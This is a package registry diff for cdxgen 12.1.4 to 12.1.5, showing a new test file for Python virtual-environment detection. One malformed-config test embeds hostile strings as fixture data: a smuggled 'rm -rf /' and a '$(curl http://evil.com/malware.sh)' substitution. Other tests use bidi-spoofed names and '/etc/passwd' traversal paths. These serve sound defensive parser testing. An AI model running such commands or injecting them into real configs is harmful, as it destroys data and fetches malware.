@cyclonedx/cdxgen 12.1.4 → 12.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/cdxgen.js +12 -0
- package/bin/repl.js +2 -2
- package/lib/cli/index.js +158 -69
- package/lib/evinser/evinser.js +3 -4
- package/lib/evinser/swiftsem.js +1 -1
- package/lib/helpers/caxa.js +1 -1
- package/lib/helpers/display.js +6 -10
- package/lib/helpers/envcontext.js +5 -5
- package/lib/helpers/pythonutils.js +296 -0
- package/lib/helpers/pythonutils.poku.js +469 -0
- package/lib/helpers/utils.js +263 -96
- package/lib/helpers/utils.poku.js +84 -1
- package/lib/managers/piptree.js +1 -1
- package/lib/parsers/npmrc.js +88 -0
- package/lib/parsers/npmrc.poku.js +492 -0
- package/lib/server/openapi.yaml +0 -9
- package/lib/server/server.js +18 -5
- package/lib/stages/pregen/env-audit.js +34 -0
- package/lib/stages/pregen/env-audit.poku.js +290 -0
- package/lib/third-party/arborist/lib/deepest-nesting-target.js +1 -1
- package/lib/third-party/arborist/lib/node.js +3 -3
- package/lib/third-party/arborist/lib/shrinkwrap.js +1 -1
- package/lib/third-party/arborist/lib/tree-check.js +1 -1
- package/package.json +3 -3
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/evinser/evinser.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/pythonutils.d.ts +9 -0
- package/types/lib/helpers/pythonutils.d.ts.map +1 -0
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/parsers/npmrc.d.ts +23 -0
- package/types/lib/parsers/npmrc.d.ts.map +1 -0
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/pregen/env-audit.d.ts +2 -0
- package/types/lib/stages/pregen/env-audit.d.ts.map +1 -0
|
@@ -0,0 +1,469 @@
|
|
|
1
|
+
import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs";
|
|
2
|
+
import { tmpdir } from "node:os";
|
|
3
|
+
import { join, sep } from "node:path";
|
|
4
|
+
|
|
5
|
+
import { assert, describe, it } from "poku";
|
|
6
|
+
|
|
7
|
+
import { get_python_command_from_env, getVenvMetadata } from "./pythonutils.js";
|
|
8
|
+
|
|
9
|
+
const baseTempDir = mkdtempSync(join(tmpdir(), "venv-poku-tests-"));
|
|
10
|
+
process.on("exit", () => {
|
|
11
|
+
try {
|
|
12
|
+
rmSync(baseTempDir, { recursive: true, force: true });
|
|
13
|
+
} catch (_e) {
|
|
14
|
+
// Ignore cleanup errors
|
|
15
|
+
}
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* Helper function to scaffold a mock environment
|
|
20
|
+
*/
|
|
21
|
+
const createMockEnv = (subDir, files = {}) => {
|
|
22
|
+
const envPath = join(baseTempDir, subDir);
|
|
23
|
+
mkdirSync(envPath, { recursive: true });
|
|
24
|
+
for (const [filePath, content] of Object.entries(files)) {
|
|
25
|
+
const fullPath = join(envPath, filePath);
|
|
26
|
+
mkdirSync(dirname(fullPath), { recursive: true });
|
|
27
|
+
writeFileSync(fullPath, content);
|
|
28
|
+
}
|
|
29
|
+
return envPath;
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
const dirname = (path) => {
|
|
33
|
+
const parts = path.split(sep);
|
|
34
|
+
parts.pop();
|
|
35
|
+
return parts.join(sep);
|
|
36
|
+
};
|
|
37
|
+
|
|
38
|
+
describe("getVenvMetadata - Baseline & System Environments", () => {
|
|
39
|
+
it("should return system type when no environment variables are provided", () => {
|
|
40
|
+
const meta = getVenvMetadata({});
|
|
41
|
+
assert.deepStrictEqual(meta.type, "system");
|
|
42
|
+
assert.deepStrictEqual(meta.isActive, false);
|
|
43
|
+
assert.deepStrictEqual(meta.path, null);
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
it("should return system type when missing VIRTUAL_ENV path doesn't exist", () => {
|
|
47
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: "/non/existent/path/123" });
|
|
48
|
+
assert.deepStrictEqual(meta.type, "unknown");
|
|
49
|
+
assert.deepStrictEqual(meta.isActive, true);
|
|
50
|
+
assert.deepStrictEqual(meta.path, "/non/existent/path/123");
|
|
51
|
+
});
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
describe("getVenvMetadata - Standard & Modern Python Tools", () => {
|
|
55
|
+
it("should detect a standard venv", () => {
|
|
56
|
+
const venvPath = createMockEnv("standard_venv", {
|
|
57
|
+
"pyvenv.cfg": "version_info = 3.10.4",
|
|
58
|
+
"bin/python3": "",
|
|
59
|
+
"Scripts/python.exe": "",
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: venvPath });
|
|
63
|
+
assert.deepStrictEqual(meta.type, "venv");
|
|
64
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.10.4");
|
|
65
|
+
assert.deepStrictEqual(meta.isActive, true);
|
|
66
|
+
assert.ok(
|
|
67
|
+
meta.pythonExecutable !== null,
|
|
68
|
+
"Should resolve a python executable",
|
|
69
|
+
);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it("should detect UV environments and extract versions", () => {
|
|
73
|
+
const uvPath = createMockEnv("uv_env", {
|
|
74
|
+
"pyvenv.cfg": "version_info = 3.12.1\nuv = 0.1.24\nhome = /usr/bin",
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: uvPath });
|
|
78
|
+
assert.deepStrictEqual(meta.type, "uv");
|
|
79
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.12.1");
|
|
80
|
+
assert.deepStrictEqual(meta.toolVersion, "0.1.24");
|
|
81
|
+
assert.deepStrictEqual(meta.uv.version, "0.1.24");
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it("should detect in-project Poetry environments", () => {
|
|
85
|
+
const projectPath = createMockEnv("poetry_project", {
|
|
86
|
+
".venv/pyvenv.cfg": "version_info = 3.11.0",
|
|
87
|
+
"poetry.lock": 'poetry-version = "1.5.0"\n',
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: join(projectPath, ".venv") });
|
|
91
|
+
assert.deepStrictEqual(meta.type, "poetry");
|
|
92
|
+
assert.deepStrictEqual(meta.toolVersion, "1.5.0");
|
|
93
|
+
assert.deepStrictEqual(meta.poetry.projectRoot, projectPath);
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
it("should detect global cache Pipenv environments", () => {
|
|
97
|
+
const globalCachePath = createMockEnv(
|
|
98
|
+
`cache${sep}.virtualenvs${sep}myproject-xYz123`,
|
|
99
|
+
{
|
|
100
|
+
"pyvenv.cfg": "version_info = 3.9.0",
|
|
101
|
+
},
|
|
102
|
+
);
|
|
103
|
+
|
|
104
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: globalCachePath });
|
|
105
|
+
assert.deepStrictEqual(meta.type, "pipenv");
|
|
106
|
+
});
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
describe("getVenvMetadata - Modern Build Tools (Rye, Hatch, PDM)", () => {
|
|
110
|
+
it("should detect Rye environments via active flag", () => {
|
|
111
|
+
const ryePath = createMockEnv("rye_env", {
|
|
112
|
+
"pyvenv.cfg": "version_info = 3.10.0",
|
|
113
|
+
});
|
|
114
|
+
const meta = getVenvMetadata({ RYE_ACTIVE: "1", VIRTUAL_ENV: ryePath });
|
|
115
|
+
assert.deepStrictEqual(meta.type, "rye");
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
it("should detect PDM environments via lock file", () => {
|
|
119
|
+
const pdmPath = createMockEnv("pdm_project", {
|
|
120
|
+
".venv/pyvenv.cfg": "version_info = 3.11.2",
|
|
121
|
+
"pdm.lock": "",
|
|
122
|
+
});
|
|
123
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: join(pdmPath, ".venv") });
|
|
124
|
+
assert.deepStrictEqual(meta.type, "pdm");
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
it("should detect Hatch environments via path heuristics", () => {
|
|
128
|
+
const hatchPath = createMockEnv(
|
|
129
|
+
`my_app${sep}.hatch${sep}env${sep}default`,
|
|
130
|
+
{
|
|
131
|
+
"pyvenv.cfg": "version_info = 3.12.0",
|
|
132
|
+
},
|
|
133
|
+
);
|
|
134
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: hatchPath });
|
|
135
|
+
assert.deepStrictEqual(meta.type, "hatch");
|
|
136
|
+
});
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
describe("getVenvMetadata - Conda, Miniconda, and Pixi", () => {
|
|
140
|
+
it("should detect standard Conda environments and parse packages", () => {
|
|
141
|
+
const condaPath = createMockEnv("conda_env", {
|
|
142
|
+
"conda-meta/history": "==> 2023-01-01 <==\n# conda version: 23.7.2",
|
|
143
|
+
"conda-meta/python-3.11.5.json": '{"version": "3.11.5", "build": "h123"}',
|
|
144
|
+
});
|
|
145
|
+
|
|
146
|
+
const meta = getVenvMetadata({ CONDA_PREFIX: condaPath });
|
|
147
|
+
assert.deepStrictEqual(meta.type, "conda");
|
|
148
|
+
assert.deepStrictEqual(meta.toolVersion, "23.7.2");
|
|
149
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.11.5");
|
|
150
|
+
});
|
|
151
|
+
|
|
152
|
+
it("should detect Miniconda if prefix contains mini", () => {
|
|
153
|
+
const minicondaPath = createMockEnv("miniconda3", {
|
|
154
|
+
"conda-meta/history": "",
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
const meta = getVenvMetadata({ CONDA_PREFIX: minicondaPath });
|
|
158
|
+
assert.deepStrictEqual(meta.type, "miniconda");
|
|
159
|
+
});
|
|
160
|
+
|
|
161
|
+
it("should detect Pixi environments based on environment variables", () => {
|
|
162
|
+
const pixiProjectPath = createMockEnv("pixi_proj", {
|
|
163
|
+
".pixi/envs/default/conda-meta/history": "",
|
|
164
|
+
});
|
|
165
|
+
|
|
166
|
+
const meta = getVenvMetadata({
|
|
167
|
+
PIXI_PROJECT_ROOT: pixiProjectPath,
|
|
168
|
+
PIXI_ENVIRONMENT_NAME: "default",
|
|
169
|
+
});
|
|
170
|
+
assert.deepStrictEqual(meta.type, "pixi");
|
|
171
|
+
assert.deepStrictEqual(meta.isActive, true);
|
|
172
|
+
assert.deepStrictEqual(meta.pixi.projectRoot, pixiProjectPath);
|
|
173
|
+
});
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
describe("getVenvMetadata - Bazel & Pyenv Edge Cases", () => {
|
|
177
|
+
it("should detect Bazel hermetic runfiles environments", () => {
|
|
178
|
+
const bazelMeta = getVenvMetadata({}, "/app/bazel-out/k8-opt/bin/my_venv");
|
|
179
|
+
assert.deepStrictEqual(bazelMeta.type, "bazel");
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
it("should detect Bazel via WORKSPACE variables", () => {
|
|
183
|
+
const bazelMeta = getVenvMetadata(
|
|
184
|
+
{ BUILD_WORKSPACE_DIRECTORY: "/workspace" },
|
|
185
|
+
"/workspace/internal_venv",
|
|
186
|
+
);
|
|
187
|
+
assert.deepStrictEqual(bazelMeta.type, "bazel");
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
it("should detect Pyenv roots and extract version", () => {
|
|
191
|
+
const pyenvRoot = createMockEnv("pyenv_home", {});
|
|
192
|
+
const pyenvEnv = join(pyenvRoot, "versions", "3.10.9");
|
|
193
|
+
|
|
194
|
+
const meta = getVenvMetadata({
|
|
195
|
+
PYENV_ROOT: pyenvRoot,
|
|
196
|
+
VIRTUAL_ENV: pyenvEnv,
|
|
197
|
+
});
|
|
198
|
+
assert.deepStrictEqual(meta.type, "pyenv");
|
|
199
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.10.9");
|
|
200
|
+
});
|
|
201
|
+
});
|
|
202
|
+
|
|
203
|
+
describe("get_python_command_from_env executable logic", () => {
|
|
204
|
+
it("should fallback to PYTHON_CMD if no executable is found", () => {
|
|
205
|
+
const cmd = get_python_command_from_env({});
|
|
206
|
+
assert.ok(cmd === "python" || cmd === "python3" || typeof cmd === "string");
|
|
207
|
+
});
|
|
208
|
+
|
|
209
|
+
it("should return the exact resolved executable path when available", () => {
|
|
210
|
+
const isWin = process.platform === "win32";
|
|
211
|
+
const exePath = isWin ? "Scripts/python.exe" : "bin/python";
|
|
212
|
+
const envPath = createMockEnv("resolved_exe_env", {
|
|
213
|
+
"pyvenv.cfg": "version_info = 3.9.0",
|
|
214
|
+
[exePath]: "",
|
|
215
|
+
});
|
|
216
|
+
|
|
217
|
+
const cmd = get_python_command_from_env({ VIRTUAL_ENV: envPath });
|
|
218
|
+
if (isWin) {
|
|
219
|
+
assert.deepStrictEqual(cmd, join(envPath, "Scripts", "python.exe"));
|
|
220
|
+
} else {
|
|
221
|
+
assert.deepStrictEqual(cmd, join(envPath, "bin", "python"));
|
|
222
|
+
}
|
|
223
|
+
});
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
describe("getVenvMetadata - Unicode and Bi-directional (Bidi) Paths", () => {
|
|
227
|
+
it("should handle paths with emojis and complex Unicode", () => {
|
|
228
|
+
const unicodePath = createMockEnv("项目_v1_📁_🐍", {
|
|
229
|
+
"pyvenv.cfg": "version_info = 3.12.0",
|
|
230
|
+
"bin/python3": "",
|
|
231
|
+
});
|
|
232
|
+
|
|
233
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: unicodePath });
|
|
234
|
+
assert.deepStrictEqual(meta.type, "venv");
|
|
235
|
+
assert.deepStrictEqual(meta.path, unicodePath);
|
|
236
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.12.0");
|
|
237
|
+
});
|
|
238
|
+
|
|
239
|
+
it("should handle Right-to-Left (RTL) Arabic/Hebrew and Bidi overrides in paths", () => {
|
|
240
|
+
const bidiPath = createMockEnv("مجلد_פרויקט_\u202Eexe.elif\u202C", {
|
|
241
|
+
"pyvenv.cfg": "version_info = 3.11.0",
|
|
242
|
+
});
|
|
243
|
+
|
|
244
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: bidiPath });
|
|
245
|
+
assert.deepStrictEqual(meta.type, "venv");
|
|
246
|
+
assert.deepStrictEqual(meta.path, bidiPath);
|
|
247
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.11.0");
|
|
248
|
+
});
|
|
249
|
+
});
|
|
250
|
+
|
|
251
|
+
describe("getVenvMetadata - Malicious and Malformed Data Tolerances", () => {
|
|
252
|
+
it("should safely parse malicious-looking injection strings in pyvenv.cfg", () => {
|
|
253
|
+
const maliciousCfg = createMockEnv("malicious_cfg", {
|
|
254
|
+
"pyvenv.cfg": `
|
|
255
|
+
# Standard configs
|
|
256
|
+
version_info = 3.10.4; rm -rf /
|
|
257
|
+
|
|
258
|
+
# Fake UV injection
|
|
259
|
+
uv = $(curl http://evil.com/malware.sh)
|
|
260
|
+
|
|
261
|
+
# Bidi spoofing in keys
|
|
262
|
+
\u202Eytiruces\u202C = true
|
|
263
|
+
|
|
264
|
+
# Broken lines
|
|
265
|
+
= empty key
|
|
266
|
+
no value =
|
|
267
|
+
many = equals = signs = here
|
|
268
|
+
`,
|
|
269
|
+
});
|
|
270
|
+
|
|
271
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: maliciousCfg });
|
|
272
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.10.4; rm -rf /");
|
|
273
|
+
assert.deepStrictEqual(meta.type, "uv");
|
|
274
|
+
assert.deepStrictEqual(
|
|
275
|
+
meta.toolVersion,
|
|
276
|
+
"$(curl http://evil.com/malware.sh)",
|
|
277
|
+
);
|
|
278
|
+
});
|
|
279
|
+
|
|
280
|
+
it("should survive gracefully when conda python JSON is corrupted/malformed", () => {
|
|
281
|
+
const corruptCondaPath = createMockEnv("corrupt_conda", {
|
|
282
|
+
"conda-meta/history": "# conda version: 24.1.0",
|
|
283
|
+
"conda-meta/python-3.11.json": "{ version: '3.11.5', build: 'x', }",
|
|
284
|
+
});
|
|
285
|
+
|
|
286
|
+
const meta = getVenvMetadata({ CONDA_PREFIX: corruptCondaPath });
|
|
287
|
+
assert.deepStrictEqual(meta.type, "conda");
|
|
288
|
+
assert.deepStrictEqual(meta.toolVersion, "24.1.0");
|
|
289
|
+
assert.deepStrictEqual(meta.pythonVersion, "unknown");
|
|
290
|
+
});
|
|
291
|
+
|
|
292
|
+
it("should handle regex bypass attempts in poetry.lock", () => {
|
|
293
|
+
const trickyPoetryPath = createMockEnv("tricky_poetry", {
|
|
294
|
+
".venv/pyvenv.cfg": "version_info = 3.11.0",
|
|
295
|
+
"poetry.lock": `
|
|
296
|
+
[[package]]
|
|
297
|
+
name = "poetry-version"
|
|
298
|
+
version = "not-this-one"
|
|
299
|
+
|
|
300
|
+
# poetry-version = "9.9.9"
|
|
301
|
+
|
|
302
|
+
poetry-version = "1.5.0-rc.1+bidi\u202Espoof\u202C"
|
|
303
|
+
`,
|
|
304
|
+
});
|
|
305
|
+
|
|
306
|
+
const meta = getVenvMetadata({
|
|
307
|
+
VIRTUAL_ENV: join(trickyPoetryPath, ".venv"),
|
|
308
|
+
});
|
|
309
|
+
|
|
310
|
+
assert.deepStrictEqual(meta.type, "poetry");
|
|
311
|
+
assert.deepStrictEqual(
|
|
312
|
+
meta.toolVersion,
|
|
313
|
+
"1.5.0-rc.1+bidi\u202Espoof\u202C",
|
|
314
|
+
);
|
|
315
|
+
});
|
|
316
|
+
|
|
317
|
+
it("should safely ignore huge binary/junk pyvenv.cfg files", () => {
|
|
318
|
+
const buffer = Buffer.alloc(1024, 0); // 1KB of null bytes
|
|
319
|
+
const junkCfgPath = createMockEnv("junk_cfg", {});
|
|
320
|
+
writeFileSync(join(junkCfgPath, "pyvenv.cfg"), buffer);
|
|
321
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: junkCfgPath });
|
|
322
|
+
assert.deepStrictEqual(meta.type, "venv");
|
|
323
|
+
assert.deepStrictEqual(meta.pythonVersion, "unknown");
|
|
324
|
+
});
|
|
325
|
+
});
|
|
326
|
+
|
|
327
|
+
describe("getVenvMetadata - Directory Traversal and Suspicious Paths", () => {
|
|
328
|
+
it("should handle directory traversal patterns in environment variables safely", () => {
|
|
329
|
+
const traversalEnv = {
|
|
330
|
+
VIRTUAL_ENV: "../../../../../etc/passwd",
|
|
331
|
+
CONDA_PREFIX: "..\\..\\..\\Windows\\System32",
|
|
332
|
+
};
|
|
333
|
+
|
|
334
|
+
const meta = getVenvMetadata(traversalEnv);
|
|
335
|
+
assert.deepStrictEqual(meta.type, "unknown");
|
|
336
|
+
assert.deepStrictEqual(meta.path, "../../../../../etc/passwd");
|
|
337
|
+
});
|
|
338
|
+
|
|
339
|
+
const getWhitespaceTestPath = () => {
|
|
340
|
+
if (process.platform === "win32") {
|
|
341
|
+
return "my weird path\u00A0";
|
|
342
|
+
}
|
|
343
|
+
return "my\r\nweird\tpath";
|
|
344
|
+
};
|
|
345
|
+
|
|
346
|
+
it("should handle extreme whitespace characters in paths", () => {
|
|
347
|
+
const whitespacePath = createMockEnv(getWhitespaceTestPath(), {
|
|
348
|
+
"pyvenv.cfg": "version_info = 3.9",
|
|
349
|
+
});
|
|
350
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: whitespacePath });
|
|
351
|
+
assert.deepStrictEqual(meta.type, "venv");
|
|
352
|
+
assert.deepStrictEqual(meta.path, whitespacePath);
|
|
353
|
+
});
|
|
354
|
+
});
|
|
355
|
+
|
|
356
|
+
describe("getVenvMetadata - Env Variable Precedence & Overrides", () => {
|
|
357
|
+
it("should prioritize explicitPath over any environment variable", () => {
|
|
358
|
+
const explicitDir = createMockEnv("explicit_override", {
|
|
359
|
+
"pyvenv.cfg": "version_info = 3.9.0",
|
|
360
|
+
});
|
|
361
|
+
const envDir = createMockEnv("env_override", {
|
|
362
|
+
"pyvenv.cfg": "version_info = 3.10.0",
|
|
363
|
+
});
|
|
364
|
+
|
|
365
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: envDir }, explicitDir);
|
|
366
|
+
|
|
367
|
+
assert.deepStrictEqual(meta.path, explicitDir);
|
|
368
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.9.0");
|
|
369
|
+
assert.deepStrictEqual(meta.isActive, false);
|
|
370
|
+
});
|
|
371
|
+
|
|
372
|
+
it("should prioritize VIRTUAL_ENV over CONDA_PREFIX if both exist", () => {
|
|
373
|
+
const meta = getVenvMetadata({
|
|
374
|
+
VIRTUAL_ENV: "/fake/venv/path",
|
|
375
|
+
CONDA_PREFIX: "/fake/conda/path",
|
|
376
|
+
});
|
|
377
|
+
|
|
378
|
+
assert.deepStrictEqual(meta.path, "/fake/venv/path");
|
|
379
|
+
});
|
|
380
|
+
|
|
381
|
+
it("should fallback gracefully to CONDA_PYTHON_EXE if CONDA_PREFIX is missing", () => {
|
|
382
|
+
const fakeExeDir = createMockEnv("fake_conda_exe", {
|
|
383
|
+
python: "",
|
|
384
|
+
});
|
|
385
|
+
const exePath = join(fakeExeDir, "python");
|
|
386
|
+
const meta = getVenvMetadata({ CONDA_PYTHON_EXE: exePath });
|
|
387
|
+
assert.deepStrictEqual(meta.type, "conda");
|
|
388
|
+
assert.deepStrictEqual(meta.pythonExecutable, exePath);
|
|
389
|
+
assert.deepStrictEqual(meta.path, null);
|
|
390
|
+
assert.deepStrictEqual(meta.isActive, false);
|
|
391
|
+
});
|
|
392
|
+
});
|
|
393
|
+
|
|
394
|
+
describe("getVenvMetadata - File Read Errors and Malformed CFGs", () => {
|
|
395
|
+
it("should parse pyvenv.cfg with bizarre spacing, missing spaces, and empty values", () => {
|
|
396
|
+
const cfgPath = createMockEnv("weird_spacing", {
|
|
397
|
+
"pyvenv.cfg": `
|
|
398
|
+
# No spaces
|
|
399
|
+
version_info=3.10.1
|
|
400
|
+
# Huge gaps
|
|
401
|
+
uv = 0.1.2
|
|
402
|
+
# Missing value
|
|
403
|
+
empty_key =
|
|
404
|
+
# Missing key
|
|
405
|
+
= orphan_value
|
|
406
|
+
`,
|
|
407
|
+
});
|
|
408
|
+
|
|
409
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: cfgPath });
|
|
410
|
+
|
|
411
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.10.1");
|
|
412
|
+
assert.deepStrictEqual(meta.type, "uv");
|
|
413
|
+
assert.deepStrictEqual(meta.toolVersion, "0.1.2");
|
|
414
|
+
});
|
|
415
|
+
|
|
416
|
+
it("should not crash if pyvenv.cfg is actually a directory (EISDIR)", () => {
|
|
417
|
+
const dirCfgPath = join(baseTempDir, "dir_cfg");
|
|
418
|
+
mkdirSync(dirCfgPath, { recursive: true });
|
|
419
|
+
mkdirSync(join(dirCfgPath, "pyvenv.cfg"));
|
|
420
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: dirCfgPath });
|
|
421
|
+
assert.deepStrictEqual(meta.type, "venv");
|
|
422
|
+
assert.deepStrictEqual(meta.pythonVersion, "unknown");
|
|
423
|
+
});
|
|
424
|
+
|
|
425
|
+
it("should handle empty or unreadable conda-meta histories safely", () => {
|
|
426
|
+
const emptyCondaPath = createMockEnv("empty_conda", {
|
|
427
|
+
"conda-meta/history": "",
|
|
428
|
+
"conda-meta/python-3.8.0.json": '{"version": "3.8.0"}',
|
|
429
|
+
});
|
|
430
|
+
|
|
431
|
+
const meta = getVenvMetadata({ CONDA_PREFIX: emptyCondaPath });
|
|
432
|
+
|
|
433
|
+
assert.deepStrictEqual(meta.type, "conda");
|
|
434
|
+
assert.deepStrictEqual(meta.toolVersion, null);
|
|
435
|
+
assert.deepStrictEqual(meta.pythonVersion, "3.8.0");
|
|
436
|
+
});
|
|
437
|
+
});
|
|
438
|
+
|
|
439
|
+
describe("getVenvMetadata - Modern Tool Local Environment (.venv) Markers", () => {
|
|
440
|
+
it("should detect local Rye venv via project root markers", () => {
|
|
441
|
+
const ryeProj = createMockEnv("rye_proj", {
|
|
442
|
+
".rye/config": "",
|
|
443
|
+
"requirements.lock": "",
|
|
444
|
+
".venv/pyvenv.cfg": "version_info = 3.11.0",
|
|
445
|
+
});
|
|
446
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: join(ryeProj, ".venv") });
|
|
447
|
+
assert.deepStrictEqual(meta.type, "rye");
|
|
448
|
+
});
|
|
449
|
+
|
|
450
|
+
it("should detect local PDM venv via project root pdm.lock", () => {
|
|
451
|
+
const pdmProj = createMockEnv("pdm_proj", {
|
|
452
|
+
"pdm.lock": "",
|
|
453
|
+
".venv/pyvenv.cfg": "version_info = 3.12.2",
|
|
454
|
+
});
|
|
455
|
+
const meta = getVenvMetadata({ VIRTUAL_ENV: join(pdmProj, ".venv") });
|
|
456
|
+
assert.deepStrictEqual(meta.type, "pdm");
|
|
457
|
+
});
|
|
458
|
+
|
|
459
|
+
it("should NOT flag poetry/rye/pdm if the folder is NOT named '.venv'", () => {
|
|
460
|
+
const customVenvProj = createMockEnv("custom_venv_proj", {
|
|
461
|
+
"poetry.lock": "",
|
|
462
|
+
"my-custom-env/pyvenv.cfg": "version_info = 3.9.0",
|
|
463
|
+
});
|
|
464
|
+
const meta = getVenvMetadata({
|
|
465
|
+
VIRTUAL_ENV: join(customVenvProj, "my-custom-env"),
|
|
466
|
+
});
|
|
467
|
+
assert.deepStrictEqual(meta.type, "venv");
|
|
468
|
+
});
|
|
469
|
+
});
|